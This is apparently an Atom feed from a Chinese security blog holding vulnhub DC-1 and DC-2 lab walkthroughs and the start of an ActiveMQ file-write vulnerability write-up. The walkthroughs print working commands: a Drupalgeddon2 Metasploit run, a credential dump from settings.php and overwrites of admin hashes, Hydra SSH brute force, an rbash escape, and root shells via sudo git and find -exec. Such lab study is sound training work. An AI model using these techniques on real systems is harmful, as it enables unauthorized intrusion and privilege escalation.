alt="Image"></p><p>cat用不了，还是用vi去查看flag，这里提示我们还没有回家，flag3里面提示我们su,我们可以尝试切换用户</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715683502575-34.png" alt="Image"></p><p>尝试切换jerry用户，切换不了</p><p>还需要提权，有一个-rbash环境变量提权的方法</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">export -p    //查看环境变量</span><br><span class="line"></span><br><span class="line">BASH_CMDS[a]=/bin/sh;a     //把/bin/sh给a</span><br><span class="line"></span><br><span class="line">/bin/bash</span><br><span class="line"></span><br><span class="line">export PATH=$PATH:/bin/     //添加环境变量</span><br><span class="line"></span><br><span class="line">export PATH=$PATH:/usr/bin   //添加环境变量</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715683580053-36.png" alt="Image"></p><p>切换到到jerry用户成功</p><p>但是还是进不了root，找查具有SUID权限的可执行二进制文件</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">find / -perm -u=s -type f 2&gt;/dev/null</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715683597376-38.png" alt="Image"></p><p>发现有一个sudo，用sudo -l看看sudo有什么权限</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715683622368-40.png" alt="Image"></p><p>git是root权限，使用git提权</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">1、sudo git help config #在末行命令模式输入</span><br><span class="line"></span><br><span class="line">!/bin/bash 或 !&#x27;sh&#x27; #完成提权</span><br><span class="line"></span><br><span class="line">2、sudo git -p help</span><br><span class="line"></span><br><span class="line">!/bin/bash #输入!/bin/bash，即可打开一个用户为root的shell</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715683664638-42.png" alt="Image"></p><p>提权成功</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;DC2靶场渗透&quot;&gt;&lt;a href=&quot;#DC2靶场渗透&quot; class=&quot;headerlink&quot; title=&quot;DC2靶场渗透&quot;&gt;&lt;/a&gt;DC2靶场渗透&lt;/h2&gt;&lt;h3 id=&quot;1、信息收集&quot;&gt;&lt;a href=&quot;#1、信息收集&quot; class=&quot;headerlink&quot; </summary>
      
    
    
    
    
    <category term="DC靶场" scheme="http://example.com/tags/DC%E9%9D%B6%E5%9C%BA/"/>
    
  </entry>
  
  <entry>
    <title>DC-1靶场记录</title>
    <link href="http://example.com/2022/03/15/DC-1%E9%9D%B6%E5%9C%BA%E8%AE%B0%E5%BD%95/"/>
    <id>http://example.com/2022/03/15/DC-1%E9%9D%B6%E5%9C%BA%E8%AE%B0%E5%BD%95/</id>
    <published>2022-03-15T01:43:24.000Z</published>
    <updated>2024-05-13T12:39:15.214Z</updated>
    
    <content type="html"><![CDATA[<h2 id="一-环境搭建"><a href="#一-环境搭建" class="headerlink" title="一. 环境搭建"></a>一. 环境搭建</h2><h3 id="1-1、DC-1靶场机"><a href="#1-1、DC-1靶场机" class="headerlink" title="1.1、DC-1靶场机"></a>1.1、DC-1靶场机</h3><p>官网下载 <a href="https://download.vulnhub.com/dc/DC-1.zip">https://download.vulnhub.com/dc/DC-1.zip</a></p><h3 id="1-2、安装过程"><a href="#1-2、安装过程" class="headerlink" title="1.2、安装过程"></a>1.2、安装过程</h3><p>解压后得到个.ova文件</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715602590543-4.png" alt="Image"></p><p>进入Vm打开，然后等待导入完毕。</p><p>然后再更改kali的网络连接模式为桥接模式，让DC靶机跟kali处于同一网段，这用kali才能扫出DC的主机，当然也可以设置为net，但必须DC-1靶机也设为net。</p><h2 id="二-渗透过程"><a href="#二-渗透过程" class="headerlink" title="二. 渗透过程"></a>二. 渗透过程</h2><h3 id="2-1、信息收集"><a href="#2-1、信息收集" class="headerlink" title="2.1、信息收集"></a>2.1、信息收集</h3><p>①探测目标IP地址</p><p>探测主机的工具有很多，常见的有arp-scan、nmap还有netdiscover</p><p>arp-scan -l</p><p>该命令是探测当前网段的所有存活主机的IP地址</p><p>可以看到当前网段内存活的主机IP为192.168.228.132</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715602783200-6.png" alt="Image"></p><p>可以用nmap去探测一下该IP开了什么端口。</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715602806018-8.png" alt="Image"></p><p>可以看到这个ip开了80端口，我们可以直接浏览器访问这个Ip地址。</p><p>利用火绒插件wappalyzer，查看站点信息，也可以自己判断，网页一看cms就是drupal</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715602827594-10.png" alt="Image"></p><p>当然也可以用kali自带的工具whatweb扫</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">whatweb -v 192.168.228.132</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715602851720-12.png" alt="Image"></p><p>经过信息收集之后我们可以得到如下信息</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">CMS是Drupal</span><br><span class="line">Apache 2.2.22</span><br><span class="line">PHP 5.4.45</span><br><span class="line">jQuery 1.4.4</span><br></pre></td></tr></table></figure><h3 id="2-2、漏洞查找与利用"><a href="#2-2、漏洞查找与利用" class="headerlink" title="2.2、漏洞查找与利用"></a>2.2、漏洞查找与利用</h3><p>知道cms，我们一般从cms出发找漏洞，百度一下drupal漏洞</p><p>这是一个框架漏洞，我们可以用kali自带的工具Metasploit（目前世界上领先的渗透测试工具，也是信息安全与渗透测试领域最大的开源项目之一），找一下漏洞。</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715602938674-14.png" alt="Image"></p><p>先打开工具</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfconsole</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715602965162-16.png" alt="Image"></p><p>用search命令去搜索我们要渗透的网站框架</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">search Drupal</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715602993590-18.png" alt="Image"></p><p>可以看到这个cms框架还是有挺多漏洞的，这里我们利用漏洞等级较高的，我们选择2018年的那个漏洞</p><p>使用use命令 + 漏洞名称，指定我们要利用的漏洞</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">use exploit/unix/webapp/drupal_drupalgeddon2</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715603017915-20.png" alt="Image"></p><p>接着看一下该漏洞模块参数</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">show options</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715603040336-22.png" alt="Image"></p><p>Current Setting是目前设置的内容</p><p>Required表示是否需要设置内容，yes为必须设置，no可以设置也可不设置</p><p>就上面来说RHOSTS需要set。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">set 192.168.228.132</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715603061132-24.png" alt="Image"></p><p>设置完参数之后就可以run了</p><p>出现Meterpreter session 1 opened（kali和目标ip的连接）就说明攻击成功啦，接下来我们可以直接上shell</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715603077084-26.png" alt="Image"></p><h2 id="三-Getshell"><a href="#三-Getshell" class="headerlink" title="三. Getshell"></a>三. Getshell</h2><h3 id="3-1、获取普通shell"><a href="#3-1、获取普通shell" class="headerlink" title="3.1、获取普通shell"></a>3.1、获取普通shell</h3><p>shell</p><p>获取一下普通的shell，然后执行ls命令</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715603112429-31.png" alt="Image"></p><h3 id="3-2、获取交互shell"><a href="#3-2、获取交互shell" class="headerlink" title="3.2、获取交互shell"></a>3.2、获取交互shell</h3><p>这样看起来有点不习惯，不过我们可以利用python实现互交shell，这样就好看一点。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python -c &#x27;import pty; pty.spawn(&quot;/bin/bash&quot;)&#x27;</span><br></pre></td></tr></table></figure><p>然后查看flag1.txt</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715603210599-33.png" alt="Image"></p><p>每个好的CMS都需要一个配置文件，你也一样。这个先放着，看看还有没有其他flag文件</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">find / -name flag*</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715603234181-35.png" alt="Image"></p><p>就只有这一个flag文件，上面的flag说每个cms都需要一个好的配置文件，我们去搜一下Drupal配置文件，路径挺复杂的不过知道名字叫settings.php，我们可以用命令直接搜索并打开，内联执行</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat `find / -name settings.php`</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715603259951-37.png" alt="Image"></p><p>在这里我们得到了数据库用户名和密码，直接连接数据库</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">mysql -udbuser -pR0ck3t</span><br><span class="line"></span><br><span class="line">show databases;#查看数据库</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715603295500-39.png" alt="Image"></p><p>有一个名为drupaldb的数据库，进入这个数据库看一下，并查看表</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">use drupaldb;</span><br><span class="line"></span><br><span class="line">show tables;</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715603313625-41.png" alt="Image"></p><p>有一张users表，查看一下表的内容</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">select</span> <span class="operator">*</span> <span class="keyword">from</span> users;</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715603356260-43.png" alt="Image"></p><p>加一个admin。</p><p>修改admin密码</p><p>我们得先找到加密文件，Drupal的加密脚本在</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/var/www/scripts/password-hash.sh</span><br></pre></td></tr></table></figure><p>目录下，先退出mysql，打开加密脚本</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat /var/www/scripts/password-hash.sh</span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/php</span></span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">* Drupal hash script - to generate a hash from a plaintext password</span></span><br><span class="line"><span class="comment">*</span></span><br><span class="line"><span class="comment">* Check for your PHP interpreter - on Windows you&#x27;ll probably have to</span></span><br><span class="line"><span class="comment">* replace line 1 with</span></span><br><span class="line"><span class="comment">*   #!c:/program files/php/php.exe</span></span><br><span class="line"><span class="comment">*</span></span><br><span class="line"><span class="comment">* <span class="doctag">@param</span> password1 [password2 [password3 ...]]</span></span><br><span class="line"><span class="comment">*  Plain-text passwords in quotes (or with spaces backslash escaped).</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="title function_ invoke__">version_compare</span>(PHP_VERSION, <span class="string">&quot;5.2.0&quot;</span>, <span class="string">&quot;&lt;&quot;</span>)) &#123;</span><br><span class="line">  <span class="variable">$version</span>  = PHP_VERSION;</span><br><span class="line">  <span class="keyword">echo</span> <span class="string">&lt;&lt;&lt;EOF</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">ERROR: This script requires at least PHP version 5.2.0. You invoked it with</span></span><br><span class="line"><span class="string">       PHP version <span class="subst">&#123;$version&#125;</span>.</span></span><br><span class="line"><span class="string">\n</span></span><br><span class="line"><span class="string">EOF</span>;</span><br><span class="line">  <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="variable">$script</span> = <span class="title function_ invoke__">basename</span>(<span class="title function_ invoke__">array_shift</span>(<span class="variable">$_SERVER</span>[<span class="string">&#x27;argv&#x27;</span>]));</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="title function_ invoke__">in_array</span>(<span class="string">&#x27;--help&#x27;</span>, <span class="variable">$_SERVER</span>[<span class="string">&#x27;argv&#x27;</span>]) || <span class="keyword">empty</span>(<span class="variable">$_SERVER</span>[<span class="string">&#x27;argv&#x27;</span>])) &#123;</span><br><span class="line">  <span class="keyword">echo</span> <span class="string">&lt;&lt;&lt;EOF</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Generate Drupal password hashes from the shell.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Usage:        <span class="subst">&#123;$script&#125;</span> [OPTIONS] &quot;&lt;plan-text password&gt;&quot;</span></span><br><span class="line"><span class="string">Example:      <span class="subst">&#123;$script&#125;</span> &quot;mynewpassword&quot;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">All arguments are long options.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">  --help      Print this page.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">  --root &lt;path&gt;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">              Set the working directory for the script to the specified path.</span></span><br><span class="line"><span class="string">              To execute this script this has to be the root directory of your</span></span><br><span class="line"><span class="string">              Drupal installation, e.g. /home/www/foo/drupal (assuming Drupal</span></span><br><span class="line"><span class="string">              running on Unix). Use surrounding quotation marks on Windows.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">  &quot;&lt;password1&gt;&quot; [&quot;&lt;password2&gt;&quot; [&quot;&lt;password3&gt;&quot; ...]]</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">              One or more plan-text passwords enclosed by double quotes. The</span></span><br><span class="line"><span class="string">              output hash may be manually entered into the &#123;users&#125;.pass field to</span></span><br><span class="line"><span class="string">              change a password via SQL to a known value.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">To run this script without the --root argument invoke it from the root directory</span></span><br><span class="line"><span class="string">of your Drupal installation as</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">  ./scripts/<span class="subst">&#123;$script&#125;</span></span></span><br><span class="line"><span class="string">\n</span></span><br><span class="line"><span class="string">EOF</span>;</span><br><span class="line">  <span class="keyword">exit</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="variable">$passwords</span> = <span class="keyword">array</span>();</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">// Parse invocation arguments.</span></span><br><span class="line"><span class="keyword">while</span> (<span class="variable">$param</span> = <span class="title function_ invoke__">array_shift</span>(<span class="variable">$_SERVER</span>[<span class="string">&#x27;argv&#x27;</span>])) &#123;</span><br><span class="line">  <span class="keyword">switch</span> (<span class="variable">$param</span>) &#123;</span><br><span class="line">    <span class="keyword">case</span> <span class="string">&#x27;--root&#x27;</span>:</span><br><span class="line">      <span class="comment">// Change the working directory.</span></span><br><span class="line">      <span class="variable">$path</span> = <span class="title function_ invoke__">array_shift</span>(<span class="variable">$_SERVER</span>[<span class="string">&#x27;argv&#x27;</span>]);</span><br><span class="line">      <span class="keyword">if</span> (<span class="title function_ invoke__">is_dir</span>(<span class="variable">$path</span>)) &#123;</span><br><span class="line">        <span class="title function_ invoke__">chdir</span>(<span class="variable">$path</span>);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">default</span>:</span><br><span class="line">      <span class="comment">// Add a password to the list to be processed.</span></span><br><span class="line">      <span class="variable">$passwords</span>[] = <span class="variable">$param</span>;</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">define</span>(<span class="string">&#x27;DRUPAL_ROOT&#x27;</span>, <span class="title function_ invoke__">getcwd</span>());</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">include_once</span> DRUPAL_ROOT . <span class="string">&#x27;/includes/password.inc&#x27;</span>;</span><br><span class="line"><span class="keyword">include_once</span> DRUPAL_ROOT . <span class="string">&#x27;/includes/bootstrap.inc&#x27;</span>;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">foreach</span> (<span class="variable">$passwords</span> <span class="keyword">as</span> <span class="variable">$password</span>) &#123;</span><br><span class="line">  <span class="keyword">print</span>(<span class="string">&quot;\npassword: <span class="subst">$password</span> \t\thash: &quot;</span>. <span class="title function_ invoke__">user_hash_password</span>(<span class="variable">$password</span>) .<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">print</span>(<span class="string">&quot;\n&quot;</span>);</span><br></pre></td></tr></table></figure><p>看到这里我们可以直接运行这个加密脚本，后面跟上我们的密码明文，他就会给我们输出出来密文。这里我们设置一个密码123456</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715603441738-45.png" alt="Image"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">php /var/www/scripts/password-hash.sh 123456</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715603459651-47.png" alt="Image"></p><p>我们把这个密文去数据库里面修改amdin,或者Fred的密码</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">mysql <span class="operator">-</span>udbuser <span class="operator">-</span>pR0ck3t</span><br><span class="line"></span><br><span class="line">use drupaldb;<span class="keyword">update</span> users <span class="keyword">set</span> pass <span class="operator">=</span> &quot;$S$DSO2OjMqCiOC0.Qkey6QmlMhSVHY1LOlP9sk3ONvG7t3OyoqiThi&quot; <span class="keyword">where</span> name <span class="operator">=</span> <span class="string">&#x27;admin&#x27;</span> <span class="keyword">or</span> name <span class="operator">=</span> <span class="string">&#x27;Fred&#x27;</span>;</span><br></pre></td></tr></table></figure><p>我们可以看到已经修改成我们生成的密码了，这样就可以直接去网站里面登录进去了。</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715603529262-49.png" alt="Image"></p><p>登陆成功</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715603543803-51.png" alt="Image"></p><p>这里有第三个flag3</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715603563545-53.png" alt="Image"></p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715603578081-55.png" alt="Image"></p><p>登进去就找到了flag3，提示了我们一些信息passwd和shadow，明显就是linux的文件</p><p>&#x2F;etc&#x2F;passwd    该文件存储了系统用户的基本信息，所有用户都可以对其进行文件操作读</p><p>&#x2F;etc&#x2F;shadow    该文件存储了系统用户的密码等信息，只有root权限用户才能读取</p><p>接着我们查看一下用户信息</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat /etc/passwd</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715603630114-57.png" alt="Image"></p><p>可以看到有flag4这个用户，我们有两个方法拿到这个用户的密码，一个是爆破，另一个就是提权打开shadow文件查看密码</p><h2 id="四-用户密码爆破"><a href="#四-用户密码爆破" class="headerlink" title="四.用户密码爆破"></a>四.用户密码爆破</h2><p>事先参考SSH</p><p>利用工具Hydra爆破flag4的密码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.228.132</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715603690426-59.png" alt="Image"></p><p>得到密码，orange,然后我们用kali连接</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh flag4@192.168.228.132</span><br></pre></td></tr></table></figure><p>连接成功，查看flag</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715603713182-61.png" alt="Image"></p><p>提示我们去root里面找flag</p><h2 id="五-Linux提权"><a href="#五-Linux提权" class="headerlink" title="五.Linux提权"></a>五.Linux提权</h2><p>需要用到SUID提权，参考 <a href="https://www.freebuf.com/articles/web/272617.html">简谈SUID提权 - FreeBuf网络安全行业门户</a></p><p>利用find命令，找查具有SUID权限的可执行二进制文件</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">find / -perm -u=s -type f 2&gt;/dev/null</span><br></pre></td></tr></table></figure><p>这个命令的作用是在根目录 <strong>&#x2F;</strong> 下查找所有文件，如果文件的用户 ID 位设置为 SUID（SUID 是 setuid 的缩写，表示当该程序运行时将以拥有者的权限运行），则列出它们的文件名。并且将所有标准错误输出到 <strong>&#x2F;dev&#x2F;null</strong> 中，以避免在屏幕上显示不必要的错误信息。</p><p>下面是各个参数的解释：</p><ul><li><strong>find</strong>: 命令名，用于在指定的路径下查找文件和目录。</li><li><strong>&#x2F;</strong>: 查找的路径，本例中是根目录。</li><li><strong>-perm</strong>: 参数选项，用于按照文件权限查找文件。</li><li><strong>-u&#x3D;s</strong>: 参数选项，用于查找文件的用户 ID 位设置为 SUID（即文件所有者执行时具有其权限）的文件。<strong>u</strong> 表示用户（user），**&#x3D;** 表示精确匹配，<strong>s</strong> 表示设置了 SUID。</li><li><strong>-type</strong>: 参数选项，用于指定要查找的文件类型，<strong>f</strong> 表示查找普通文件（即不包括目录和链接等其他类型的文件）。</li><li><strong>2&gt;&#x2F;dev&#x2F;null</strong>: 将标准错误输出重定向到 <strong>&#x2F;dev&#x2F;null</strong> 设备，即将错误信息丢弃不予显示。</li></ul><p><img src="/imgs/$%7Bfiilename%7D/Image-1715603765887-63.png" alt="Image"></p><p>find比较常用，可以执行root权限的命令找查文件</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">find / -name index.php -exec &quot;/bin/sh&quot; \;</span><br></pre></td></tr></table></figure><p><img src="/imgs/$%7Bfiilename%7D/Image-1715603811035-65.png" alt="Image"></p><p>可以看到我们已经是root权限了</p><p><img src="/imgs/$%7Bfiilename%7D/Image-1715603836711-67.png" alt="Image"></p><p>拿到最终的flag</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;一-环境搭建&quot;&gt;&lt;a href=&quot;#一-环境搭建&quot; class=&quot;headerlink&quot; title=&quot;一. 环境搭建&quot;&gt;&lt;/a&gt;一. 环境搭建&lt;/h2&gt;&lt;h3 id=&quot;1-1、DC-1靶场机&quot;&gt;&lt;a href=&quot;#1-1、DC-1靶场机&quot; class=&quot;head</summary>
      
    
    
    
    
    <category term="DC靶场" scheme="http://example.com/tags/DC%E9%9D%B6%E5%9C%BA/"/>
    
  </entry>
  
  <entry>
    <title>ActiveMQ任意文件写入漏洞</title>
    <link href="http://example.com/2021/11/13/ActiveMQ%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%BC%8F%E6%B4%9E/"/>
    <id>http://example.com/2021/11/13/ActiveMQ%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%BC%8F%E6%B4%9E/</id>
    <published>2021-11-13T09:55:12.000Z</published>
    <updated>2024-05-13T10:42:46.388Z</updated>
    
    <content type="html"><![CDATA[<h2 id="背景简述"><a href="#背景简述" class="headerlink" title="背景简述"></a><strong>背景简述</strong></h2><p>ActiveMQ的web控制台分为三个应用，admin、api和fileserver，其中admin是管理员页面，api是接口，fileserver是储存文件的接口；admin和api都需要登录后才能使用，fileserver无需登录。</p><p>fileserver是一个RESTful API接口，我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作，其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷，但后来发现：</p><blockquote><p>其使用率并不高</p><p>文件操作容易出现漏洞</p></blockquote><p>所以，<strong>ActiveMQ在5.12.x~5.13.x版本中，已经默认关闭了fileserver这个应用（可以在conf&#x2F;jetty.xml中开启）；在5.14.0版本以后，彻底删除了fileserver应用。</strong></p><p>在测试过程中，可以<strong>关注ActiveMQ的版本</strong>，避免走弯路。</p><h2 id="漏洞详情"><a href="#漏洞详情" class="headerlink" title="漏洞详情"></a><strong>漏洞详情</strong></h2><p>本漏洞出现在fileserver应用中，漏洞原理其实非常简单，就是fileserver支持写入文件（但不解析jsp），同时支持移动文件（MOVE请求）。所以，我们只需要写入一个文件，然后使用MOVE请求将其移动到任意位置，造成任意文件写入漏洞。</p><p>文件写入有几种利用方法：</p><blockquote><p>写入webshell</p><p>写入cron或ssh key等文件</p><p>写入jar或jetty.xml等库和配置文件</p></blockquote><p>写入webshell的好处是，门槛低更方便，但前面也说了fileserver不解析jsp，admin和api两个应用都需要登录才能访问，所以有点鸡肋；写入cron或ssh key，好处是直接反弹拿shell，也比较方便，缺点是需要root权限；写入jar，稍微麻烦点（需要jar的后门），写入xml配置文件，这个方法比较靠谱，但有个鸡肋点是：我们需要知道activemq的绝对路径。</p><h2 id="知识拓展"><a href="#知识拓展" class="headerlink" 